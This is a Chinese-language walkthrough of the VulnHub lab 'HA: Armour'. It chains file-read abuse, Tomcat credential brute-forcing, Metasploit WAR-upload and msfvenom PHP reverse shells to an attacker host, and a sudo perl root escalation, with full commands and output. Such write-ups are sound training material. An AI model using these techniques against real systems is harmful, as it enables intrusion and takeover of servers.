下载地址:点我

bilibili:点我

信息收集

  • nmap扫存活找到IP为:192.168.116.140
  1. ~ nmap -sn 192.168.116.1/24
  2. Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-09 21:21 CST
  3. Nmap scan report for 192.168.116.1
  4. Host is up (0.00031s latency).
  5. Nmap scan report for 192.168.116.140
  6. Host is up (0.00074s latency).
  7. Nmap done: 256 IP addresses (2 hosts up) scanned in 5.09 seconds
  8. ~ nmap -A -T4 192.168.116.140 -p-
  9. Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-09 21:23 CST
  10. Nmap scan report for 192.168.116.140
  11. Host is up (0.0018s latency).
  12. Not shown: 65531 closed ports
  13. PORT STATE SERVICE VERSION
  14. 80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
  15. |_http-server-header: Apache/2.4.29 (Ubuntu)
  16. |_http-title: HA: Armour
  17. 8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
  18. | ajp-methods:
  19. |_ Supported methods: GET HEAD POST OPTIONS
  20. 8080/tcp open http Apache Tomcat 9.0.24
  21. |_http-favicon: Apache Tomcat
  22. |_http-title: Apache Tomcat/9.0.24
  23. 65534/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
  24. | ssh-hostkey:
  25. | 2048 28:eb:55:eb:a6:63:c6:fd:23:36:31:27:de:cb:f8:0d (RSA)
  26. | 256 a5:1b:86:a9:66:3e:b6:e6:af:d4:33:fe:2c:84:3b:62 (ECDSA)
  27. |_ 256 c7:b2:0c:45:7f:9c:a2:98:fb:52:75:0d:0d:e1:1f:24 (ED25519)
  28. Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  29. Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  30. Nmap done: 1 IP address (1 host up) scanned in 10.68 seconds
  31. ~
  • 开放80,8009,8080端口,都是Web服务分别是Apache httpd,Apache Jserv和Apache Tomcat,还有一个65534端口为ssh服务。
  • 指定端口连接ssh,得到第一个flag:HulkBuster Armour:{7BDA7019C06B53AEFC8EE95D2CDACCAA},和提示:TheOlympics
  1. ~ ssh 192.168.116.140 -p65534
  2. The authenticity of host '[192.168.116.140]:65534 ([192.168.116.140]:65534)' can't be established.
  3. ECDSA key fingerprint is SHA256:kYh7ax5tplAJb0W9IkeVePlscYpVFgSLsyepRlFi20A.
  4. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
  5. Warning: Permanently added '[192.168.116.140]:65534' (ECDSA) to the list of known hosts.
  6. db 88888888ba 88b d88 ,ad8888ba, 88 88 88888888ba
  7. d88b 88 "8b 888b d888 d8"' `"8b 88 88 88 "8b
  8. d8'`8b 88 ,8P 88`8b d8'88 d8' `8b 88 88 88 ,8P
  9. d8' `8b 88aaaaaa8P' 88 `8b d8' 88 88 88 88 88 88aaaaaa8P'
  10. d8YaaaaY8b 88""""88' 88 `8b d8' 88 88 88 88 88 88""""88'
  11. d8""""""""8b 88 `8b 88 `8b d8' 88 Y8, ,8P 88 88 88 `8b
  12. d8' `8b 88 `8b 88 `888' 88 Y8a. .a8P Y8a. .a8P 88 `8b
  13. d8' `8b 88 `8b 88 `8' 88 `"Y8888Y"' `"Y8888Y"' 88 `8b
  14. www.hackingarticles.in
  15. HulkBuster Armour:{7BDA7019C06B53AEFC8EE95D2CDACCAA}
  16. Hint 1: TheOlympics
  17. kali-team@192.168.116.140's password:
  • 浏览器访问80端口,F12发现注释里有armour,notes.txt,还有69,开始不知道什么意思。但是对TCP/UDP端口列表熟悉的话,可以猜出来是TFTP(小型文件传输协议)的端口,详细TCP/UDP端口列表
  • 可以使用nmap加UDP协议判断69端口是否开放。
  1. ~ sudo nmap -sU -p69 192.168.116.140
  2. [sudo] kali-team 的密码:
  3. Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-09 21:38 CST
  4. Nmap scan report for 192.168.116.140
  5. Host is up (0.00073s latency).
  6. PORT STATE SERVICE
  7. 69/udp open|filtered tftp
  8. MAC Address: 00:0C:29:E7:98:9F (VMware)
  9. Nmap done: 1 IP address (1 host up) scanned in 2.92 seconds
  • 因为要发送UDP报文,所以要加sudo以Root权限执行。发现目标有开放69端口。
  • TFTP客户端连上服务端下载notes.txt文件,得到第二个flag。
  1. ~ atftp
  2. tftp> connect 192.168.116.140
  3. tftp> get notes.txt
  4. tftp> quit
  5. ~ cat notes.txt
  6. Spiderman Armour:{83A75F0B31435193BAFD3B9C5FD45AEC}
  7. Hint 2: maybeevena
  8. ~
  • 还有一个提示maybeevena,不知道什么鬼。先爆破80端口的php后缀文件。
  1. ~ dirb http://192.168.116.140 -X .php
  2. -----------------
  3. DIRB v2.22
  4. By The Dark Raver
  5. -----------------
  6. START_TIME: Wed Oct 9 22:23:10 2019
  7. URL_BASE: http://192.168.116.140/
  8. WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
  9. EXTENSIONS_LIST: (.php) | (.php) [NUM = 1]
  10. -----------------
  11. GENERATED WORDS: 4612
  12. ---- Scanning URL: http://192.168.116.140/ ----
  13. + http://192.168.116.140/file.php (CODE:200|SIZE:0)
  14. -----------------
  15. END_TIME: Wed Oct 9 22:23:13 2019
  16. DOWNLOADED: 4612 - FOUND: 1
  17. ~
  • 找到file.php,打开页面一片空白,fuzz参数。
  1. ~ wfuzz -w Kali-Team_Tools/fuzzdb/attack/business-logic/CommonMethodNames.txt --hw 0 'http://192.168.116.140/file.php?FUZZ=/etc/passwd'
  2. libraries.FileLoader: CRITICAL __load_py_from_file. Filename: /home/kali-team/.local/lib/python3.7/site-packages/wfuzz/plugins/payloads/bing.py Exception, msg=No module named 'shodan'
  3. libraries.FileLoader: CRITICAL __load_py_from_file. Filename: /home/kali-team/.local/lib/python3.7/site-packages/wfuzz/plugins/payloads/shodanp.py Exception, msg=No module named 'shodan'
  4. ********************************************************
  5. * Wfuzz 2.4 - The Web Fuzzer *
  6. ********************************************************
  7. Target: http://192.168.116.140/file.php?FUZZ=/etc/passwd
  8. Total requests: 77
  9. ===================================================================
  10. ID Response Lines Word Chars Payload
  11. ===================================================================
  12. 000000033: 200 28 L 36 W 1437 Ch "file"
  13. Total time: 0.130840
  14. Processed Requests: 77
  15. Filtered Requests: 76
  16. Requests/sec.: 588.5036
  17. ~
  • 找到参数为file,还是一个文件读取漏洞,因为是Apache的服务,所以先想到读取Apache相关的文件,敏感的文件有.htpasswd,一般在/etc/apache2/.htpasswd
  1. ~ curl http://192.168.116.140/file.php\?file\=/etc/apache2/.htpasswd
  2. Ant-Man Armour:{A9F56B7ECE2113C9C4A1214A19EDE99C}
  3. Hint 3: StarBucks
  4. ~
  • 找到第三个flag,和第三个提示:StarBucks。
  • 官方提示:

P.S. Klaw has a habit of dividing his passwords into 3 parts and save them at different locations. So, if you get some combine them to move forward.

  • 三个提示拼起来就是:TheOlympics maybeevena starBucks,强行当密码。

tomcat 获取会话

  • 浏览器打开8080端口,发现是一个Tomcat的管理页面,密码已经知道,现在来爆破用户名。
  1. CeWL git:(master) ./cewl.rb -v http://192.168.116.140 -d 10 -w dict.txt
  2. CeWL 5.4.6 (Exclusion) Robin Wood (robin@digi.ninja) (https://digi.ninja/)
  3. Starting at http://192.168.116.140
  4. Visiting: http://192.168.116.140, got response code 200
  5. Attribute text found:
  6. Offsite link, not following: https://hackingarticles.in
  7. Writing words to file
  8. CeWL git:(master) cat dict.txt
  9. Armour
  10. PAGE
  11. CONTENT
  12. Header
  13. ARMOUR
  14. Collection
  15. Armours
  16. MCU
  17. Photo
  18. Grid
  19. armour
  20. End
  21. Page
  22. Content
  23. Footer
  24. Powered
  25. Hacking
  26. Articles
  27. notes
  28. txt
  29. CeWL git:(master) pwd
  30. /home/kali-team/Kali-Team_Tools/CeWL
  31. CeWL git:(master)
  • 使用CeWL爬80端口的网页生成用户名的字典,使用MSF对Tomcat进行登录密码枚举。
  1. msf5 auxiliary(scanner/http/tomcat_mgr_login) > show options
  2. Module options (auxiliary/scanner/http/tomcat_mgr_login):
  3. Name Current Setting Required Description
  4. ---- --------------- -------- -----------
  5. BLANK_PASSWORDS true no Try blank passwords for all users
  6. BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
  7. DB_ALL_CREDS false no Try each user/password couple stored in the current database
  8. DB_ALL_PASS false no Add all passwords in the current database to the list
  9. DB_ALL_USERS false no Add all users in the current database to the list
  10. PASSWORD TheOlympicsmaybeevenaStarBucks no The HTTP password to specify for authentication
  11. PASS_FILE /opt/metasploit/data/wordlists/tomcat_mgr_default_pass.txt no File containing passwords, one per line
  12. Proxies no A proxy chain of format type:host:port[,type:host:port][...]
  13. RHOSTS 192.168.116.140 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  14. RPORT 8080 yes The target port (TCP)
  15. SSL false no Negotiate SSL/TLS for outgoing connections
  16. STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
  17. TARGETURI /manager/html yes URI for Manager login. Default is /manager/html
  18. THREADS 1 yes The number of concurrent threads
  19. USERNAME no The HTTP username to specify for authentication
  20. USERPASS_FILE /opt/metasploit/data/wordlists/tomcat_mgr_default_userpass.txt no File containing users and passwords separated by space, one pair per line
  21. USER_AS_PASS false no Try the username as the password for all users
  22. USER_FILE /home/kali-team/Kali-Team_Tools/CeWL/dict.txt no File containing users, one per line
  23. VERBOSE true yes Whether to print output for all attempts
  24. VHOST no HTTP server virtual host
  25. msf5 auxiliary(scanner/http/tomcat_mgr_login) >
  • 不知道为什么,我重启服务器后才枚举出来,用户名是:armour。
  • [+] 192.168.116.140:8080 - Login Successful: armour:TheOlympicsmaybeevenaStarBucks
  • Tomcat上传木马有很多方法,可以手工上传WAR文件部署。
  • 这里就使用MSF比较省时间。
  1. msf5 exploit(multi/http/tomcat_mgr_upload) > set httppassword
  2. set httppassword
  3. msf5 exploit(multi/http/tomcat_mgr_upload) > set httppassword TheOlympicsmaybeevenaStarBucks
  4. httppassword => TheOlympicsmaybeevenaStarBucks
  5. msf5 exploit(multi/http/tomcat_mgr_upload) > set httpusername armour
  6. httpusername => armour
  7. msf5 exploit(multi/http/tomcat_mgr_upload) > run
  8. [*] Started reverse TCP handler on 192.168.116.1:4444
  9. [*] Retrieving session ID and CSRF token...
  10. [*] Uploading and deploying wJ0oIWvcGX...
  11. [*] Executing wJ0oIWvcGX...
  12. [*] Undeploying wJ0oIWvcGX ...
  13. [*] Sending stage (53867 bytes) to 192.168.116.140
  14. [*] Meterpreter session 1 opened (192.168.116.1:4444 -> 192.168.116.140:50706) at 2019-10-09 23:47:49 +0800
  15. meterpreter >
  • 枚举本地开发端口
  1. meterpreter > shell
  2. Process 61 created.
  3. Channel 75 created.
  4. netstat -antp
  5. Active Internet connections (servers and established)
  6. Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
  7. tcp 0 0 127.0.0.1:8081 0.0.0.0:* LISTEN -
  8. tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
  9. tcp 0 0 0.0.0.0:65534 0.0.0.0:* LISTEN -
  10. tcp6 0 0 :::8080 :::* LISTEN 572/java
  11. tcp6 0 0 :::80 :::* LISTEN -
  12. tcp6 0 0 :::65534 :::* LISTEN -
  13. tcp6 0 0 127.0.0.1:8005 :::* LISTEN 572/java
  14. tcp6 0 0 :::8009 :::* LISTEN 572/java
  15. tcp6 0 0 192.168.116.140:50706 192.168.116.1:4444 ESTABLISHED 685/java
  • 这里发现目标主机上监听着8081端口,只能在目标本地进行访问,所以我们可以把端口转发出来,MSF里有自带的。
  1. meterpreter > portfwd /?
  2. Usage: portfwd [-h] [add | delete | list | flush] [args]
  3. OPTIONS:
  4. -L <opt> Forward: local host to listen on (optional). Reverse: local host to connect to.
  5. -R Indicates a reverse port forward.
  6. -h Help banner.
  7. -i <opt> Index of the port forward entry to interact with (see the "list" command).
  8. -l <opt> Forward: local port to listen on. Reverse: local port to connect to.
  9. -p <opt> Forward: remote port to connect to. Reverse: remote port to listen on.
  10. -r <opt> Forward: remote host to connect to.
  11. meterpreter > portfwd add -l 8081 -p 8081 -r 127.0.0.1
  12. [*] Local TCP relay created: :8081 <-> 127.0.0.1:8081
  13. meterpreter >
  • 现在访问自己的8081端口就可以拿到第四个flag。
  1. ~ curl http://127.0.0.1:8081
  2. Black Panther Armour:{690B4BAC6CA9FB81814128A294470F92}
  • 或者直接在目标主机访问
  1. tomcat@ubuntu:~$ cd /tmp
  2. cd /tmp
  3. tomcat@ubuntu:/tmp$ wget http://127.0.0.1:8081
  4. wget http://127.0.0.1:8081
  5. --2019-10-10 04:46:42-- http://127.0.0.1:8081/
  6. Connecting to 127.0.0.1:8081... connected.
  7. HTTP request sent, awaiting response... 200 OK
  8. Length: 56 [text/html]
  9. Saving to: index.html
  10. index.html 100%[===================>] 56 --.-KB/s in 0s
  11. 2019-10-10 04:46:42 (2.79 MB/s) - index.html saved [56/56]
  12. tomcat@ubuntu:/tmp$ cat index.html
  13. cat index.html
  14. Black Panther Armour:{690B4BAC6CA9FB81814128A294470F92}
  15. tomcat@ubuntu:/tmp$

权限提升

  • 查找GUID文件
  1. tomcat@ubuntu:/$ find / -perm -g=s -type f 2>/dev/null
  2. find / -perm -g=s -type f 2>/dev/null
  3. /sbin/pam_extrausers_chkpwd
  4. /sbin/unix_chkpwd
  5. /usr/bin/crontab
  6. /usr/bin/expiry
  7. /usr/bin/chage
  8. /usr/bin/ssh-agent
  9. /usr/bin/wall
  10. /usr/bin/bsd-write
  11. /usr/bin/mlocate
  12. tomcat@ubuntu:/$
  • 查找SUID文件
  1. tomcat@ubuntu:/$ find / -perm -u=s -type f 2>/dev/null
  2. find / -perm -u=s -type f 2>/dev/null
  3. /bin/mount
  4. /bin/umount
  5. /bin/su
  6. /bin/ping
  7. /bin/fusermount
  8. /usr/bin/vmware-user-suid-wrapper
  9. /usr/bin/traceroute6.iputils
  10. /usr/bin/passwd
  11. /usr/bin/newgrp
  12. /usr/bin/chsh
  13. /usr/bin/sudo
  14. /usr/bin/gpasswd
  15. /usr/bin/chfn
  16. /usr/lib/dbus-1.0/dbus-daemon-launch-helper
  17. /usr/lib/openssh/ssh-keysign
  18. /usr/lib/eject/dmcrypt-get-device
  19. tomcat@ubuntu:/$
  20. tomcat@ubuntu:/$ find / -perm -4000 2>dev/null | xargs ls -la
  21. find / -perm -4000 2>dev/null | xargs ls -la
  22. -rwsr-xr-x 1 root root 30800 Aug 11 2016 /bin/fusermount
  23. -rwsr-xr-x 1 root root 43088 Oct 15 2018 /bin/mount
  24. -rwsr-xr-x 1 root root 64424 Jun 28 04:05 /bin/ping
  25. -rwsr-xr-x 1 root root 44664 Mar 22 2019 /bin/su
  26. -rwsr-xr-x 1 root root 26696 Oct 15 2018 /bin/umount
  27. -rwsr-xr-x 1 root root 76496 Mar 22 2019 /usr/bin/chfn
  28. -rwsr-xr-x 1 root root 44528 Mar 22 2019 /usr/bin/chsh
  29. -rwsr-xr-x 1 root root 75824 Mar 22 2019 /usr/bin/gpasswd
  30. -rwsr-xr-x 1 root root 40344 Mar 22 2019 /usr/bin/newgrp
  31. -rwsr-xr-x 1 root root 59640 Mar 22 2019 /usr/bin/passwd
  32. -rwsr-xr-x 1 root root 149080 Jan 17 2018 /usr/bin/sudo
  33. -rwsr-xr-x 1 root root 18448 Jun 28 04:05 /usr/bin/traceroute6.iputils
  34. -rwsr-xr-x 1 root root 10312 May 14 00:07 /usr/bin/vmware-user-suid-wrapper
  35. -rwsr-xr-- 1 root messagebus 42992 Jun 10 11:05 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
  36. -rwsr-xr-x 1 root root 10232 Mar 27 2017 /usr/lib/eject/dmcrypt-get-device
  37. -rwsr-xr-x 1 root root 436552 Mar 4 2019 /usr/lib/openssh/ssh-keysign
  38. tomcat@ubuntu:/$
  • 查找可写目录,发现有/var/www/html
  1. tomcat@ubuntu:/$ find / -writable -type d 2>/dev/null
  2. find / -writable -type d 2>/dev/null
  3. /dev/mqueue
  4. /dev/shm
  5. /tftpboot
  6. /var/lib/php/sessions
  7. /var/www/html
  8. /var/tmp
  9. /proc/902/task/902/fd
  10. /proc/902/fd
  11. /proc/902/map_files
  12. /tmp
  • 查找root用户权限可写文件
  1. tomcat@ubuntu:/$ find / -writable -type f 2>/dev/null | grep -v "/proc/" |xargs ls -al |grep root
  2. <ev/null | grep -v "/proc/" |xargs ls -al |grep root
  3. -rwxrwxrwx 1 root root 7224 Sep 21 11:30 /etc/apache2/apache2.conf
  4. -rwxrwxrwx 1 root tomcat 2262 Sep 21 21:15 /opt/tomcat/conf/tomcat-users.xml
  5. --w--w--w- 1 root root 0 Oct 10 02:00 /sys/fs/cgroup/memory/cgroup.event_control
  6. -rw-rw-rw- 1 root root 0 Oct 10 01:09 /sys/kernel/security/apparmor/.access
  7. -rw-rw-rw- 1 root root 0 Oct 10 01:09 /sys/kernel/security/apparmor/.load
  8. -rw-rw-rw- 1 root root 0 Oct 10 01:09 /sys/kernel/security/apparmor/.remove
  9. -rw-rw-rw- 1 root root 0 Oct 10 01:09 /sys/kernel/security/apparmor/.replace
  10. tomcat@ubuntu:/$
  • 找到/etc/apache2/apache2.conf/opt/tomcat/conf/tomcat-users.xml文件可写。
  • /opt/tomcat/conf/tomcat-users.xml只有之前的账号密码,只能看/etc/apache2/apache2.conf文件了。
  • 查找passwd文件,每行记录又被冒号(:)分隔为7个字段分别对应:用户名:口令:用户标识号:组标识号:注释性描述:主目录:登录Shell
  • group文件对应:组名:口令:组标识号:组内用户列表
  1. tomcat@ubuntu:/$ cat /etc/passwd
  2. cat /etc/passwd
  3. root:x:0:0:root:/root:/bin/bash
  4. daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  5. bin:x:2:2:bin:/bin:/usr/sbin/nologin
  6. sys:x:3:3:sys:/dev:/usr/sbin/nologin
  7. sync:x:4:65534:sync:/bin:/bin/sync
  8. games:x:5:60:games:/usr/games:/usr/sbin/nologin
  9. man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
  10. lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
  11. mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
  12. news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
  13. uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
  14. proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
  15. www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
  16. backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
  17. list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
  18. irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
  19. gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
  20. nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
  21. systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
  22. systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
  23. syslog:x:102:106::/home/syslog:/usr/sbin/nologin
  24. messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
  25. _apt:x:104:65534::/nonexistent:/usr/sbin/nologin
  26. uuidd:x:105:109::/run/uuidd:/usr/sbin/nologin
  27. armour:x:1000:1000:armour,,,:/home/armour:/bin/bash
  28. sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
  29. tomcat:x:1001:1001::/opt/tomcat:/bin/false
  30. aarti:x:1002:1002:,,,:/home/aarti:/bin/bash
  31. tomcat@ubuntu:/$
  32. tomcat@ubuntu:~$ cat /etc/group
  33. cat /etc/group
  34. root:x:0:
  35. daemon:x:1:
  36. bin:x:2:
  37. sys:x:3:
  38. adm:x:4:syslog,armour
  39. tty:x:5:
  40. disk:x:6:
  41. lp:x:7:
  42. mail:x:8:
  43. news:x:9:
  44. uucp:x:10:
  45. man:x:12:
  46. proxy:x:13:
  47. kmem:x:15:
  48. dialout:x:20:
  49. fax:x:21:
  50. voice:x:22:
  51. cdrom:x:24:armour
  52. floppy:x:25:
  53. tape:x:26:
  54. sudo:x:27:armour
  55. audio:x:29:
  56. dip:x:30:armour
  57. www-data:x:33:
  58. backup:x:34:
  59. operator:x:37:
  60. list:x:38:
  61. irc:x:39:
  62. src:x:40:
  63. gnats:x:41:
  64. shadow:x:42:
  65. utmp:x:43:
  66. video:x:44:
  67. sasl:x:45:
  68. plugdev:x:46:armour
  69. staff:x:50:
  70. games:x:60:
  71. users:x:100:
  72. nogroup:x:65534:
  73. systemd-journal:x:101:
  74. systemd-network:x:102:
  75. systemd-resolve:x:103:
  76. input:x:104:
  77. crontab:x:105:
  78. syslog:x:106:
  79. messagebus:x:107:
  80. mlocate:x:108:
  81. uuidd:x:109:
  82. ssh:x:110:
  83. armour:x:1000:
  84. lpadmin:x:111:armour
  85. sambashare:x:112:armour
  86. ssl-cert:x:113:
  87. tomcat:x:1001:
  88. aarti:x:1002:
  89. tomcat@ubuntu:~$
  • 找到一个普通用户aarti和armour
  • 把Apache配置文件下载到自己的电脑,Apache默认以www-data用户启动的
  1. http://192.168.116.140/file.php?file=/etc/apache2/apache2.conf
  • 修改用户和组,让Apache以上面那个普通用户启动,为什么不能以Root用户启动能?因为不重新编译是不能用Root权限的,这样Web服务也起不来。所以只能改aarti的
  • 覆盖Apache配置文件
  1. tomcat@ubuntu:/etc/apache2$ wget http://192.168.116.1:8000/apache2.conf -O apache2.conf
  2. <p://192.168.116.1:8000/apache2.conf -O apache2.conf
  3. --2019-10-10 04:52:49-- http://192.168.116.1:8000/apache2.conf
  4. Connecting to 192.168.116.1:8000... connected.
  5. HTTP request sent, awaiting response... 200 OK
  6. Length: 7195 (7.0K) [text/plain]
  7. Saving to: apache2.conf
  8. apache2.conf 100%[===================>] 7.03K --.-KB/s in 0s
  9. utime(apache2.conf): Operation not permitted
  10. 2019-10-10 04:52:49 (243 MB/s) - apache2.conf saved [7195/7195]
  11. tomcat@ubuntu:/etc/apache2$ cat apache2.conf
  • 写入后到80端口服务下的目录写木马。(这是官方出题人写的),我试了不对,创建文件的用户为Tomcat,aarti用户读不了这个文件,所以是访问不了的,服务端报500错误。
  • 后来我利用文件包含Apache的配置文件获取到了会话。
  • 就是把Shell写进Apache2.conf,再利用上面发现的文件包含漏洞。
  1. ~ msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.116.1 LPORT=2333 -o shell.php
  2. ~ cat shell.php >> apache2.conf
  3. msf5 exploit(multi/handler) > run
  4. [*] Started reverse TCP handler on 192.168.116.1:2333
  5. [*] Sending stage (38288 bytes) to 192.168.116.140
  6. [*] Meterpreter session 3 opened (192.168.116.1:2333 -> 192.168.116.140:48606) at 2019-10-10 13:22:53 +0800
  7. meterpreter > getuid
  8. Server username: aarti (1002)
  9. meterpreter > shell
  10. Process 12388 created.
  11. Channel 0 created.
  12. python3.6 -c 'import pty;pty.spawn("/bin/bash")'
  13. aarti@ubuntu:/var/www/html$ whoami
  14. whoami
  15. aarti
  16. aarti@ubuntu:/var/www/html$

提Root权限

  • 列举无密码sudo,发现有一个perl
  1. aarti@ubuntu:/var/www/html$ sudo -l
  2. sudo -l
  3. Matching Defaults entries for aarti on ubuntu:
  4. env_reset, mail_badpass,
  5. secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
  6. User aarti may run the following commands on ubuntu:
  7. (root) NOPASSWD: /usr/bin/perl
  8. aarti@ubuntu:/var/www/html$
  9. aarti@ubuntu:/var/www/html$ sudo perl -e 'exec "/bin/bash";'
  10. sudo perl -e 'exec "/bin/bash";'
  11. root@ubuntu:/var/www/html# id
  12. id
  13. uid=0(root) gid=0(root) groups=0(root)
  14. root@ubuntu:/var/www/html#
  15. root@ubuntu:~# ls
  16. ls
  17. final.txt
  18. root@ubuntu:~# cat final.txt
  19. cat final.txt
  20. ______ ______ _____ _ _ ______
  21. /\ (_____ \ | ___ \ / ___ \ | | | |(_____ \
  22. / \ _____) )| | _ | || | | || | | | _____) )
  23. / /\ \ (_____ ( | || || || | | || | | |(_____ (
  24. | |__| | | || || || || |___| || |___| | | |
  25. |______| |_||_||_||_| \_____/ \______| |_|
  26. IronMan Armour:{3AE9D8799D1BB5E201E5704293BB54EF}
  27. !! Congrats you have finished this task !!
  28. Contact us here:
  29. Hacking Articles : https://twitter.com/rajchandel/
  30. AArti Singh: https://www.linkedin.com/in/aarti-singh-353698114/
  31. +-+-+-+-+-+ +-+-+-+-+-+-+-+
  32. |E|n|j|o|y| |H|A|C|K|I|N|G|
  33. +-+-+-+-+-+ +-+-+-+-+-+-+-+
  34. root@ubuntu:~#

HA: Armour-Write-up的更多相关文章

  1. VulnHub靶场学习_HA: ARMOUR

    HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...

  2. VulnHub靶场学习_HA: Natraj

    HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...

  3. HA 高可用软件系统保养指南

    又过了一年 618,六月是公司一年一度的大促月,一般提前一个月各系统就会减少需求和功能的开发,转而更多去关注系统可用性.稳定性和管控性等方面的非功能需求.大促前的准备工作一般叫作「备战」,可以把线上运 ...

  4. MySQL: Fabric 搭建 HA

    搭建好Fabric之后,就可以在它的基础上创建HA Group. Shard Group.HA+Shard Group等.这里来说明一下如何快速的搭建HA环境. Fabric 192.168.2.23 ...

  5. zookeeper集群的搭建以及hadoop ha的相关配置

    1.环境 centos7 hadoop2.6.5 zookeeper3.4.9 jdk1.8 master作为active主机,data1作为standby备用机,三台机器均作为数据节点,yarn资源 ...

  6. 使用Nginx+Lua代理Hadoop HA

    一.Hadoop HA的Web页面访问 Hadoop开启HA后,会同时存在两个Master组件提供服务,其中正在使用的组件称为Active,另一个作为备份称为Standby,例如HDFS的NameNo ...

  7. hadoop2.7.1 HA安装部署(转)

    hadoop集群规划 目标:创建2个NameNode,做高可用,一个NameNode挂掉,另一个能够启动:一个运行Yarn,3台DataNode,3台Zookeeper集群,做高可用. 在 hadoo ...

  8. 【转】 XenServer架构之HA概述

    一.XenServer HA概述 XenServer HA是一套全自动功能设计,规划,安全地恢复出现问题的XenServe 主机上的虚拟机的功能组件. 启用 HA 后,XenServer 将持续监视池 ...

  9. ActiveMQ笔记(3):基于Networks of Brokers的HA方案

    上一篇介绍了基于ZK的ActiveMQ HA方案,虽然理解起来比较容易,但是有二个不足: 1)  占用的节点数过多,1个zk集群至少3个节点,1个activemq集群也至少得3个节点,但其实正常运行时 ...

随机推荐

  1. 寒假安卓app开发学习记录(2)

    今天属实是头疼的一天.开始的时候是简单了解了一下安卓的系统架构,了解到大概分为四个部分. 然后看了两节创建安卓项目的课程,准备去实践一下的时候突然发现我的eclipse里竟然没有Android选项.查 ...

  2. 中国科技股赴美IPO的游戏结束了吗?

    编辑 | 于斌 出品 | 于见(mpyujian) 有关斗鱼直播的消息,一直层出不求.最近前几天又有捷报传出,斗鱼走出国门,在美国上市,开始了自己的新征程. 但据悉,斗鱼国际控股有限公司可能刚刚达到外 ...

  3. Wx-小程序-长按复制文本

    view: <text bindlongtap='copy' data-name='{{name}}'>{{item.name}}</text> js: copy(e) { v ...

  4. 一周搞定模拟电路P2_二极管介绍_记录

    1 稳压二极管 1.1 稳压二极管伏安特性曲线 ΔIz 这一段为能够达到比较好的稳压效果的稳压电流. 1.2 两种连接方法的比较 2 整流二极管 2.1 特点 用于把交流电变成脉动直流电 3 开关二极 ...

  5. [代码记录] C语言链表

    #开始 · 简单的创建链表 #代码 #include<conio.h> #include<stdio.h> #include<stdlib.h> struct St ...

  6. 两个Beta函数类型的积分及其一般形式

    \[\Large\displaystyle \int_{0}^{1}\frac{\sqrt[4]{x\left ( 1-x \right )^{3}}}{\left ( 1+x \right )^{3 ...

  7. 解析C语言编程对缓冲区的理解

    转载自:http://soft.chinabyte.com/database/47/12481547.shtml 下面介绍缓冲区的知识. 一.什么是缓冲区 缓冲区又称为缓存,它是内存空间的一部分.也就 ...

  8. SDNU_ACM_ICPC_2020_Winter_Practice_2nd

    A - [The__Flash]的矩阵 给你一个m×n的整数矩阵,在上面找一个x×y的子矩阵,使子矩阵中所有元素的和最大. Input输入数据的第一行为一个正整数T,表示有T组测试数据.每一组测试数据 ...

  9. 【Hibernate 检索策略】

    HibernateDemo2 public class HibernateDemo2 { //演示批量抓取 @Test public void testSelect3() { SessionFacto ...

  10. P3378 (模板)并查集

    使用带路径压缩的并查集,不然会TLE AC代码: #include <bits/stdc++.h> #define MP make_pair #define PB push_back #d ...